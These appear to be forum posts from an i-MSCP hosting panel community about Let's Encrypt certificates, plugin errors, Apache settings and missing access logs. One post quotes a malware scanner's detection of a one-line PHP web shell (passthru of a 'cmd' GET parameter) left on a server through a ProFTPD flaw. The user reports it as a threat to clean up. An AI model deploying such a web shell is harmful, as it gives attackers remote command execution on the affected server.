Yesterday I got my second invite for three additional domains and all went fine.
And then I used the following command to created my certificates:
letsencrypt-auto certonly --agree-dev-preview --agree-tos --renew-by-default -a webroot --webroot-path /var/www/virtual/domain.com/htdocs/ -d domain.com -d www.domain.com
@mrpink, thanks so much for the tip with cli.ini and the following line of code in order to add another certificate. Worked like a charme 
Got my beta invite yesterday too. The certificates were generated by entering the code that was quoted in the email. Luckily I have read in the letsencrypt forum that there was an error and the last line should read
https://acme-v01.api.letsencrypt.org/directory certonly
instead of
https://acme-v01.api.letsencrypt.org/directory auth
Using the code line with "certonly" everything went smoothly.
During installation I choosed "authenticate with Apache Web Server". It gave me only two choices "Apache Web Server (Alpha)" or "Standalone". Choosing Apache Web Server the letsencrypt folder and the certificates were generated.
The only challenge was which certificate goes were in i-mscp backend. I got four certificates:
cert.pem
chain.pem
fullchain.pem
privkey.pem
Private key was easy. Then I put cert.pem key in the input field for certificate and decided to take fullchain.pem for intermediate certificate. Now my site runs fine with https
It's not a bug due imscp! The copy module of proftpd had a vulnability.. I'm sure it's because of that. No nothing else to do, may you should change the passwords.
Thanks for the reply ... yes I know it is not a bug of imsp and it shouldn't sound as if it was imscp related. I just read the other thread that imscp 1.2.3 took care of this bug. I know it is not the fault of imscp. Sorry if this was unclear.
.
Hello, we just installed maldetect on our server and a malicious script was found
{HEX}php.exe.globals.399 : /tmp/.<?php passthru($_GET['cmd']);echo 'm3rg3';?>
After googling this code it seems that this is related to a bug in proftp http://bugs.proftpd.org/show_bug.cgi?id=4169
There is also a thread about this bug in this forum and the bug seems to have been fixed in i-mscp 1.2.3
So this script may have been for some time on our server 
maldetect moved this script into quarantine. So far so good ... anything else I should do?
Looks as if they have postponed it again from September to "Q4 2015" .. what a pity!
I had the same problem because was stupid enough not check if the plugin version was compatible with imscp 1.2.2
After getting the a.m. error I was not able to deactivate or uninstall the plugin.
Now we have updated the system and imscp 1.2.9 is installed but the plugin still shows an error and cannot be deactivated or uninstalled.
When I installed the plugin on i-mscp 1.2.2 the error was not there right from the beginning but after saving the configuration file and updating the plugin.
I tried to make a fresh upload of the plugin ... unfortunately to no avail.
What I did was (now on i-mscp 1.2.9):
Deleting the plugin
Deleting the plugin in the database
After a fresh upload everything seems fine until I click on the green button to install the plugin then it says
Plugin::SpamAssassin::_updateSpamassassinRules: can't resolve "config" to address at /usr/lib/perl5/Net/DNS/Resolver/Base.pm line 776.
Now I am stuck and any help would be much appreciated, thanks!
Here is a good link for apache optimization.
http://www.liquidweb.com/kb/apache-optimization/
Increasing MaxRequestWorkers is one thing but it is also important to set a limit for MaxRequestPerChilds. Standard value is 0 which means a child server process will never expire. This may bring the server on the knees if there is a brute force attack.
Hi, thanks for your reply.
The imscp version is 1.2.2
The server runs with ubuntu 14.04, Apache 2.4.12 with php fcgid
When deleting a domain the folder of this domain in var/log/apache2 that contains error and access logs won't be deleted.
When I changed the DNS settings the two sites pointed to another server (shared hosting environment).
When changing the settings back to our server the error logs are being updated with new entries but not the access logs. The access log remains the same since the date when the DNS settings were changed.
Yes I am 100% sure that the site is back on the server (ping says it is the IP of the server where IMSCP is installed). But no updates of access.log (whereas error.log shows new entries).
Deleting the domain won't delete the log folder in var/log/apache2/domain.tld
P.S.: regarding access logs that don't update anymore I think I have found the reason (it affects all domains not just those two that were moved to another IP)
[1.2.2] Apache access Log in /etc/apache2 after update
When we updated our server I altered the DNS settings of 2 domains to point temporarily to another IP on shared webhosting to avoid downtimes.
After changing the DNS settings back to our server the access.logs won't be updated anymore (only the error.log shows new entries, the access.log won't record any new entries)
I tried if anything change if I delete the domain and create everything new. But when deleting a domain the logs won't be deleted and the problem remains.
On this occasion I noticed that all logs of deleted domains are still present. Deleting them manually results in error messages. Is there a way to delete them safely?
Thanks in advance on any tips.
This link describes how to upgrade from php 5.3 to php 5.5 http://www.dev-metal.com/how-t…-5-5-on-ubuntu-12-04-lts/
